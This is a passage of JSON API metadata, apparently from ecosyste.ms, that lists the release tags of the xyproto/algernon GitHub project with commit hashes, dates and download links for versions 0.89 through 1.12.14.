positories/xyproto%2Falgernon/tags/1.12.14","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/xyproto%2Falgernon/tags/1.12.14/manifests"},{"name":"1.12.12","sha":"d450f658fff1bf090f71b0d41c08ab88ba53de96","kind":"commit","published_at":"2021-01-18T13:30:59.000Z","download_url":"https://codeload.github.com/xyproto/algernon/tar.gz/1.12.12","html_url":"https://github.com/xyproto/algernon/releases/tag/1.12.12","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/xyproto/algernon@1.12.12","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/xyproto%2Falgernon/tags/1.12.12","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/xyproto%2Falgernon/tags/1.12.12/manifests"},{"name":"1.12.11","sha":"7597243ea10b8209e0a1fc0146ad7d38f5cea6b5","kind":"commit","published_at":"2021-01-02T21:41:53.000Z","download_url":"https://codeload.github.com/xyproto/algernon/tar.gz/1.12.11","html_url":"https://github.com/xyproto/algernon/releases/tag/1.12.11","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/xyproto/algernon@1.12.11","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/xyproto%2Falgernon/tags/1.12.11","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/xyproto%2Falgernon/tags/1.12.11/manifests"},{"name":"1.12.10","sha":"f220483c72b622b93d37ab387de87b30b5a1ed62","kind":"commit","published_at":"2021-01-02T21:33:17.000Z","download_url":"https://codeload.github.com/xyproto/algernon/tar.gz/1.12.10","html_url":"https://github.com/xyproto/algernon/releases/tag/1.12.10","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/xyproto/algernon@1.12.10","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/xyproto%2Falgernon/tags/1.12.10","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/xyproto%2Falgernon/tags/1.12.10/manifests"},{"name":"1.12.9","sha":"30cf6073be8b9a0c494a1d019e3d5c403781e5a0","kind":"commit","published_at":"2021-01-02T21:23:05.000Z","download_url":"https://codeload.github.com/xyproto/algernon/tar.gz/1.12.9","html_url":"https://github.com/xyproto/algernon/releases/tag/1.12.9","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/xyproto/algernon@1.12.9","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/xyproto%2Falgernon/tags/1.12.9","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/xyproto%2Falgernon/tags/1.12.9/manifests"},{"name":"1.12.8","sha":"1ed620d6db3057281224a9004f974af62faf3e27","kind":"commit","published_at":"2020-06-27T19:53:57.000Z","download_url":"https://codeload.github.com/xyproto/algernon/tar.gz/1.12.8","html_url":"https://github.com/xyproto/algernon/releases/tag/1.12.8","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/xyproto/algernon@1.12.8","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/xyproto%2Falgernon/tags/1.12.8","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/xyproto%2Falgernon/tags/1.12.8/manifests"},{"name":"1.12.7","sha":"62b9fafe2302c6739dcde1f5b6c6ffa40bd9c00e","kind":"commit","published_at":"2020-03-24T20:48:26.000Z","download_url":"https://codeload.github.com/xyproto/algernon/tar.gz/1.12.7","html_url":"https://github.com/xyproto/algernon/releases/tag/1.12.7","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/xyproto/algernon@1.12.7","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/xyproto%2Falgernon/tags/1.12.7","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/xyproto%2Falgernon/tags/1.12.7/manifests"},{"name":"1.12.6","sha":"da249c53d427c4cde18f758b2e04ea6ce955e825","kind":"commit","published_at":"2020-01-07T14:14:59.000Z","download_url":"https://codeload.github.com/xyproto/algernon/tar.gz/1.12.6","html_url":"https://github.com/xyproto/algernon/releases/tag/1.12.6","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/xyproto/algernon@1.12.6","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/xyproto%2Falgernon/tags/1.12.6","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/xyproto%2Falgernon/tags/1.12.6/manifests"},{"name":"1.12.5","sha":"206912d922bb8ab96e23708d1cf222d572741ebe","kind":"commit","published_at":"2019-08-22T18:11:18.000Z","download_url":"https://codeload.github.com/xyproto/algernon/tar.gz/1.12.5","html_url":"https://github.com/xyproto/algernon/releases/tag/1.12.5","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/xyproto/algernon@1.12.5","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/xyproto%2Falgernon/tags/1.12.5","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/xyproto%2Falgernon/tags/1.12.5/manifests"},{"name":"1.12.4","sha":"fd4412ebb5a233b34073a9cebebf131ab7ee6433","kind":"commit","published_at":"2019-04-05T11:31:05.000Z","download_url":"https://codeload.github.com/xyproto/algernon/tar.gz/1.12.4","html_url":"https://github.com/xyproto/algernon/releases/tag/1.12.4","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/xyproto/algernon@1.12.4","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/xyproto%2Falgernon/tags/1.12.4","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/xyproto%2Falgernon/tags/1.12.4/manifests"},{"name":"1.12.3","sha":"c02e3f901eb6d2c5f08e5cc5cb12af62586315b2","kind":"commit","published_at":"2019-02-19T15:14:55.000Z","download_url":"https://codeload.github.com/xyproto/algernon/tar.gz/1.12.3","html_url":"https://github.com/xyproto/algernon/releases/tag/1.12.3","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/xyproto/algernon@1.12.3","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/xyproto%2Falgernon/tags/1.12.3","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/xyproto%2Falgernon/tags/1.12.3/manifests"},{"name":"1.12.2","sha":"4abf8d33c32ceb7d0f4af5121e882711911bc2ea","kind":"commit","published_at":"2019-01-24T20:18:59.000Z","download_url":"https://codeload.github.com/xyproto/algernon/tar.gz/1.12.2","html_url":"https://github.com/xyproto/algernon/releases/tag/1.12.2","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/xyproto/algernon@1.12.2","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/xyproto%2Falgernon/tags/1.12.2","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/xyproto%2Falgernon/tags/1.12.2/manifests"},{"name":"1.12.1","sha":"26b9b39868ee55866e2bec551adc0627dc79d18b","kind":"commit","published_at":"2018-12-31T16:05:39.000Z","download_url":"https://codeload.github.com/xyproto/algernon/tar.gz/1.12.1","html_url":"https://github.com/xyproto/algernon/releases/tag/1.12.1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/xyproto/algernon@1.12.1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/xyproto%2Falgernon/tags/1.12.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/xyproto%2Falgernon/tags/1.12.1/manifests"},{"name":"1.12.0-TLS-1.3","sha":"53fea61879a502b3b34518262e8272d8aedd03d8","kind":"commit","published_at":"2018-11-02T10:19:31.000Z","download_url":"https://codeload.github.com/xyproto/algernon/tar.gz/1.12.0-TLS-1.3","html_url":"https://github.com/xyproto/algernon/releases/tag/1.12.0-TLS-1.3","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/xyproto/algernon@1.12.0-TLS-1.3","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/xyproto%2Falgernon/tags/1.12.0-TLS-1.3","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/xyproto%2Falgernon/tags/1.12.0-TLS-1.3/manifests"},{"name":"1.12.0","sha":"330e7d5840fd1225c6b81f4a1af441eba1d6f31a","kind":"commit","published_at":"2018-10-31T13:15:25.000Z","download_url":"https://codeload.github.com/xyproto/algernon/tar.gz/1.12.0","html_url":"https://github.com/xyproto/algernon/releases/tag/1.12.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/xyproto/algernon@1.12.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/xyproto%2Falgernon/tags/1.12.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/xyproto%2Falgernon/tags/1.12.0/manifests"},{"name":"1.11.0","sha":"5b6969fea95b3acd476bd96ff1b5f38cc09a7b8c","kind":"commit","published_at":"2018-09-12T10:10:08.000Z","download_url":"https://codeload.github.com/xyproto/algernon/tar.gz/1.11.0","html_url":"https://github.com/xyproto/algernon/releases/tag/1.11.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/xyproto/algernon@1.11.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/xyproto%2Falgernon/tags/1.11.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/xyproto%2Falgernon/tags/1.11.0/manifests"},{"name":"1.10.1","sha":"caef8f687bc8558b07064eb6a9972eebfba615ca","kind":"commit","published_at":"2018-06-18T21:45:15.000Z","download_url":"https://codeload.github.com/xyproto/algernon/tar.gz/1.10.1","html_url":"https://github.com/xyproto/algernon/releases/tag/1.10.1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/xyproto/algernon@1.10.1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/xyproto%2Falgernon/tags/1.10.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/xyproto%2Falgernon/tags/1.10.1/manifests"},{"name":"v1","sha":"38c3f0bfc447797a47acf5186072178052661eb5","kind":"commit","published_at":"2018-05-05T14:23:29.000Z","download_url":"https://codeload.github.com/xyproto/algernon/tar.gz/v1","html_url":"https://github.com/xyproto/algernon/releases/tag/v1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/xyproto/algernon@v1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/xyproto%2Falgernon/tags/v1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/xyproto%2Falgernon/tags/v1/manifests"},{"name":"1.10","sha":"d718983ea2c005343d7ca3115b6a74fe7286acaa","kind":"commit","published_at":"2018-05-01T15:01:15.000Z","download_url":"https://codeload.github.com/xyproto/algernon/tar.gz/1.10","html_url":"https://github.com/xyproto/algernon/releases/tag/1.10","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/xyproto/algernon@1.10","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/xyproto%2Falgernon/tags/1.10","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/xyproto%2Falgernon/tags/1.10/manifests"},{"name":"1.9","sha":"7df9173a13c988f516649b8ce76a866b3f03e3ec","kind":"commit","published_at":"2018-04-05T19:57:20.000Z","download_url":"https://codeload.github.com/xyproto/algernon/tar.gz/1.9","html_url":"https://github.com/xyproto/algernon/releases/tag/1.9","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/xyproto/algernon@1.9","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/xyproto%2Falgernon/tags/1.9","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/xyproto%2Falgernon/tags/1.9/manifests"},{"name":"1.8","sha":"93349dfc4d3daa5351c51551e8a8b9f0633bdc90","kind":"commit","published_at":"2017-12-21T08:57:48.000Z","download_url":"https://codeload.github.com/xyproto/algernon/tar.gz/1.8","html_url":"https://github.com/xyproto/algernon/releases/tag/1.8","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/xyproto/algernon@1.8","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/xyproto%2Falgernon/tags/1.8","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/xyproto%2Falgernon/tags/1.8/manifests"},{"name":"1.7","sha":"3590a459f25d0659e0fcf5e7e0c41dea9e454427","kind":"commit","published_at":"2017-10-27T13:10:10.000Z","download_url":"https://codeload.github.com/xyproto/algernon/tar.gz/1.7","html_url":"https://github.com/xyproto/algernon/releases/tag/1.7","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/xyproto/algernon@1.7","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/xyproto%2Falgernon/tags/1.7","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/xyproto%2Falgernon/tags/1.7/manifests"},{"name":"1.6","sha":"9281665f4106b6c8938904f7ea1ff5386116ca22","kind":"commit","published_at":"2017-10-03T20:03:27.000Z","download_url":"https://codeload.github.com/xyproto/algernon/tar.gz/1.6","html_url":"https://github.com/xyproto/algernon/releases/tag/1.6","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/xyproto/algernon@1.6","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/xyproto%2Falgernon/tags/1.6","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/xyproto%2Falgernon/tags/1.6/manifests"},{"name":"1.5.1-static-linux64","sha":"593e714f11653c9af97eeb75073161105fe3ccd9","kind":"commit","published_at":"2017-09-03T08:17:03.000Z","download_url":"https://codeload.github.com/xyproto/algernon/tar.gz/1.5.1-static-linux64","html_url":"https://github.com/xyproto/algernon/releases/tag/1.5.1-static-linux64","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/xyproto/algernon@1.5.1-static-linux64","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/xyproto%2Falgernon/tags/1.5.1-static-linux64","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/xyproto%2Falgernon/tags/1.5.1-static-linux64/manifests"},{"name":"v1.5","sha":"4c79a60ad5b49f248122cf01764521bdcd6fe958","kind":"commit","published_at":"2017-08-12T12:56:48.000Z","download_url":"https://codeload.github.com/xyproto/algernon/tar.gz/v1.5","html_url":"https://github.com/xyproto/algernon/releases/tag/v1.5","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/xyproto/algernon@v1.5","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/xyproto%2Falgernon/tags/v1.5","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/xyproto%2Falgernon/tags/v1.5/manifests"},{"name":"1.5.1","sha":"8f3f0cc69bf87ce77ef78dba2957e30cf3955a90","kind":"commit","published_at":"2017-07-14T12:11:44.000Z","download_url":"https://codeload.github.com/xyproto/algernon/tar.gz/1.5.1","html_url":"https://github.com/xyproto/algernon/releases/tag/1.5.1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/xyproto/algernon@1.5.1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/xyproto%2Falgernon/tags/1.5.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/xyproto%2Falgernon/tags/1.5.1/manifests"},{"name":"1.5","sha":"c16eda968d5746574825c476d13831a48d55e255","kind":"commit","published_at":"2017-07-13T16:45:33.000Z","download_url":"https://codeload.github.com/xyproto/algernon/tar.gz/1.5","html_url":"https://github.com/xyproto/algernon/releases/tag/1.5","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/xyproto/algernon@1.5","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/xyproto%2Falgernon/tags/1.5","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/xyproto%2Falgernon/tags/1.5/manifests"},{"name":"v1.4.5-win8-64","sha":"3ffecec8aac55bf083aacac7c695cc93dc111e1b","kind":"commit","published_at":"2017-07-09T10:50:21.000Z","download_url":"https://codeload.github.com/xyproto/algernon/tar.gz/v1.4.5-win8-64","html_url":"https://github.com/xyproto/algernon/releases/tag/v1.4.5-win8-64","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/xyproto/algernon@v1.4.5-win8-64","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/xyproto%2Falgernon/tags/v1.4.5-win8-64","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/xyproto%2Falgernon/tags/v1.4.5-win8-64/manifests"},{"name":"1.4.5","sha":"5d09d0a1d50c6d6aaa03e8aa29c3d11d9628d002","kind":"commit","published_at":"2017-06-17T16:11:11.000Z","download_url":"https://codeload.github.com/xyproto/algernon/tar.gz/1.4.5","html_url":"https://github.com/xyproto/algernon/releases/tag/1.4.5","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/xyproto/algernon@1.4.5","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/xyproto%2Falgernon/tags/1.4.5","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/xyproto%2Falgernon/tags/1.4.5/manifests"},{"name":"1.4.4","sha":"90f17ca5bd36009dacc7d9012c5400c7a415541f","kind":"commit","published_at":"2017-05-31T11:49:30.000Z","download_url":"https://codeload.github.com/xyproto/algernon/tar.gz/1.4.4","html_url":"https://github.com/xyproto/algernon/releases/tag/1.4.4","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/xyproto/algernon@1.4.4","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/xyproto%2Falgernon/tags/1.4.4","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/xyproto%2Falgernon/tags/1.4.4/manifests"},{"name":"1.4.3","sha":"1ed7acccb2e39291b48fcf6bdcde644f54fd69b7","kind":"commit","published_at":"2017-05-26T12:05:55.000Z","download_url":"https://codeload.github.com/xyproto/algernon/tar.gz/1.4.3","html_url":"https://github.com/xyproto/algernon/releases/tag/1.4.3","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/xyproto/algernon@1.4.3","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/xyproto%2Falgernon/tags/1.4.3","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/xyproto%2Falgernon/tags/1.4.3/manifests"},{"name":"1.4.2","sha":"c66abb678ec5aee9fe3bb284db6afd2de05e1adf","kind":"commit","published_at":"2017-05-25T18:22:52.000Z","download_url":"https://codeload.github.com/xyproto/algernon/tar.gz/1.4.2","html_url":"https://github.com/xyproto/algernon/releases/tag/1.4.2","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/xyproto/algernon@1.4.2","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/xyproto%2Falgernon/tags/1.4.2","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/xyproto%2Falgernon/tags/1.4.2/manifests"},{"name":"1.4.1","sha":"7eddeb516cd72d4d3330a87ce8cdafbb1e12f35d","kind":"commit","published_at":"2017-04-26T13:29:54.000Z","download_url":"https://codeload.github.com/xyproto/algernon/tar.gz/1.4.1","html_url":"https://github.com/xyproto/algernon/releases/tag/1.4.1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/xyproto/algernon@1.4.1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/xyproto%2Falgernon/tags/1.4.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/xyproto%2Falgernon/tags/1.4.1/manifests"},{"name":"v1.4.1-win8-64","sha":"7eddeb516cd72d4d3330a87ce8cdafbb1e12f35d","kind":"commit","published_at":"2017-04-26T13:29:54.000Z","download_url":"https://codeload.github.com/xyproto/algernon/tar.gz/v1.4.1-win8-64","html_url":"https://github.com/xyproto/algernon/releases/tag/v1.4.1-win8-64","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/xyproto/algernon@v1.4.1-win8-64","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/xyproto%2Falgernon/tags/v1.4.1-win8-64","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/xyproto%2Falgernon/tags/v1.4.1-win8-64/manifests"},{"name":"v1.4.1-rpi3","sha":"7eddeb516cd72d4d3330a87ce8cdafbb1e12f35d","kind":"commit","published_at":"2017-04-26T13:29:54.000Z","download_url":"https://codeload.github.com/xyproto/algernon/tar.gz/v1.4.1-rpi3","html_url":"https://github.com/xyproto/algernon/releases/tag/v1.4.1-rpi3","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/xyproto/algernon@v1.4.1-rpi3","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/xyproto%2Falgernon/tags/v1.4.1-rpi3","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/xyproto%2Falgernon/tags/v1.4.1-rpi3/manifests"},{"name":"1.4","sha":"60e54e6fe41a9792d1dc4f06dd15109930158d86","kind":"commit","published_at":"2017-02-12T12:31:08.000Z","download_url":"https://codeload.github.com/xyproto/algernon/tar.gz/1.4","html_url":"https://github.com/xyproto/algernon/releases/tag/1.4","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/xyproto/algernon@1.4","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/xyproto%2Falgernon/tags/1.4","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/xyproto%2Falgernon/tags/1.4/manifests"},{"name":"1.3.2","sha":"854ba9511f39bf7c4e2fb2eb294a7071587e7770","kind":"commit","published_at":"2017-01-03T19:54:31.000Z","download_url":"https://codeload.github.com/xyproto/algernon/tar.gz/1.3.2","html_url":"https://github.com/xyproto/algernon/releases/tag/1.3.2","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/xyproto/algernon@1.3.2","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/xyproto%2Falgernon/tags/1.3.2","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/xyproto%2Falgernon/tags/1.3.2/manifests"},{"name":"1.3.1","sha":"17397f0e4e34af9e84c3b374da35f57170b56125","kind":"commit","published_at":"2016-12-10T20:21:36.000Z","download_url":"https://codeload.github.com/xyproto/algernon/tar.gz/1.3.1","html_url":"https://github.com/xyproto/algernon/releases/tag/1.3.1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/xyproto/algernon@1.3.1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/xyproto%2Falgernon/tags/1.3.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/xyproto%2Falgernon/tags/1.3.1/manifests"},{"name":"1.3","sha":"824a858a4867457b41aa03c1afabe9b9f8cd39d4","kind":"commit","published_at":"2016-11-24T09:50:57.000Z","download_url":"https://codeload.github.com/xyproto/algernon/tar.gz/1.3","html_url":"https://github.com/xyproto/algernon/releases/tag/1.3","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/xyproto/algernon@1.3","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/xyproto%2Falgernon/tags/1.3","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/xyproto%2Falgernon/tags/1.3/manifests"},{"name":"v1.2.1-win8-64","sha":"8d4353378ecaf23bf1d3c69109acf77a861807c3","kind":"commit","published_at":"2016-11-02T17:12:33.000Z","download_url":"https://codeload.github.com/xyproto/algernon/tar.gz/v1.2.1-win8-64","html_url":"https://github.com/xyproto/algernon/releases/tag/v1.2.1-win8-64","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/xyproto/algernon@v1.2.1-win8-64","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/xyproto%2Falgernon/tags/v1.2.1-win8-64","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/xyproto%2Falgernon/tags/v1.2.1-win8-64/manifests"},{"name":"1.2.1","sha":"5ad4bcaf2e227240cf82192cb28b9464b877aabf","kind":"commit","published_at":"2016-10-14T10:13:38.000Z","download_url":"https://codeload.github.com/xyproto/algernon/tar.gz/1.2.1","html_url":"https://github.com/xyproto/algernon/releases/tag/1.2.1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/xyproto/algernon@1.2.1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/xyproto%2Falgernon/tags/1.2.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/xyproto%2Falgernon/tags/1.2.1/manifests"},{"name":"1.2","sha":"7d6521f06a74c954f0368a71b264bbb2bca89646","kind":"commit","published_at":"2016-09-21T11:35:37.000Z","download_url":"https://codeload.github.com/xyproto/algernon/tar.gz/1.2","html_url":"https://github.com/xyproto/algernon/releases/tag/1.2","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/xyproto/algernon@1.2","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/xyproto%2Falgernon/tags/1.2","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/xyproto%2Falgernon/tags/1.2/manifests"},{"name":"1.1","sha":"43beb7f757f8591639f639b23595799c6bbf427d","kind":"commit","published_at":"2016-09-06T13:41:27.000Z","download_url":"https://codeload.github.com/xyproto/algernon/tar.gz/1.1","html_url":"https://github.com/xyproto/algernon/releases/tag/1.1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/xyproto/algernon@1.1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/xyproto%2Falgernon/tags/1.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/xyproto%2Falgernon/tags/1.1/manifests"},{"name":"1.0","sha":"3e91ecc82c707dc410e252b7216bc5b03e4d3d61","kind":"commit","published_at":"2016-06-03T19:28:11.000Z","download_url":"https://codeload.github.com/xyproto/algernon/tar.gz/1.0","html_url":"https://github.com/xyproto/algernon/releases/tag/1.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/xyproto/algernon@1.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/xyproto%2Falgernon/tags/1.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/xyproto%2Falgernon/tags/1.0/manifests"},{"name":"v1.0-win8-64","sha":"3e91ecc82c707dc410e252b7216bc5b03e4d3d61","kind":"commit","published_at":"2016-06-03T19:28:11.000Z","download_url":"https://codeload.github.com/xyproto/algernon/tar.gz/v1.0-win8-64","html_url":"https://github.com/xyproto/algernon/releases/tag/v1.0-win8-64","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/xyproto/algernon@v1.0-win8-64","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/xyproto%2Falgernon/tags/v1.0-win8-64","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/xyproto%2Falgernon/tags/v1.0-win8-64/manifests"},{"name":"0.92","sha":"258d5c2aeab51f9c8c3ac4c5712d01f8c1ee1fef","kind":"commit","published_at":"2016-06-02T10:01:14.000Z","download_url":"https://codeload.github.com/xyproto/algernon/tar.gz/0.92","html_url":"https://github.com/xyproto/algernon/releases/tag/0.92","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/xyproto/algernon@0.92","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/xyproto%2Falgernon/tags/0.92","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/xyproto%2Falgernon/tags/0.92/manifests"},{"name":"0.91","sha":"268c4c195e2b16b976670b2497e50f5571f10193","kind":"commit","published_at":"2016-05-20T13:23:16.000Z","download_url":"https://codeload.github.com/xyproto/algernon/tar.gz/0.91","html_url":"https://github.com/xyproto/algernon/releases/tag/0.91","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/xyproto/algernon@0.91","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/xyproto%2Falgernon/tags/0.91","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/xyproto%2Falgernon/tags/0.91/manifests"},{"name":"0.9","sha":"2b6f68d16103353e668c50aa846c9557269b8da4","kind":"commit","published_at":"2016-05-19T22:18:08.000Z","download_url":"https://codeload.github.com/xyproto/algernon/tar.gz/0.9","html_url":"https://github.com/xyproto/algernon/releases/tag/0.9","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/xyproto/algernon@0.9","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/xyproto%2Falgernon/tags/0.9","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/xyproto%2Falgernon/tags/0.9/manifests"},{"name":"0.89","sha":"e00c14468d527e70777aacd77d9142284f7bfa62","kind":"commit","published_at":"2016-04-25T21:01:42.000Z","download_url":"https://codeload.github.com/xyproto/algernon/tar.gz/0.89","html_url":"https://g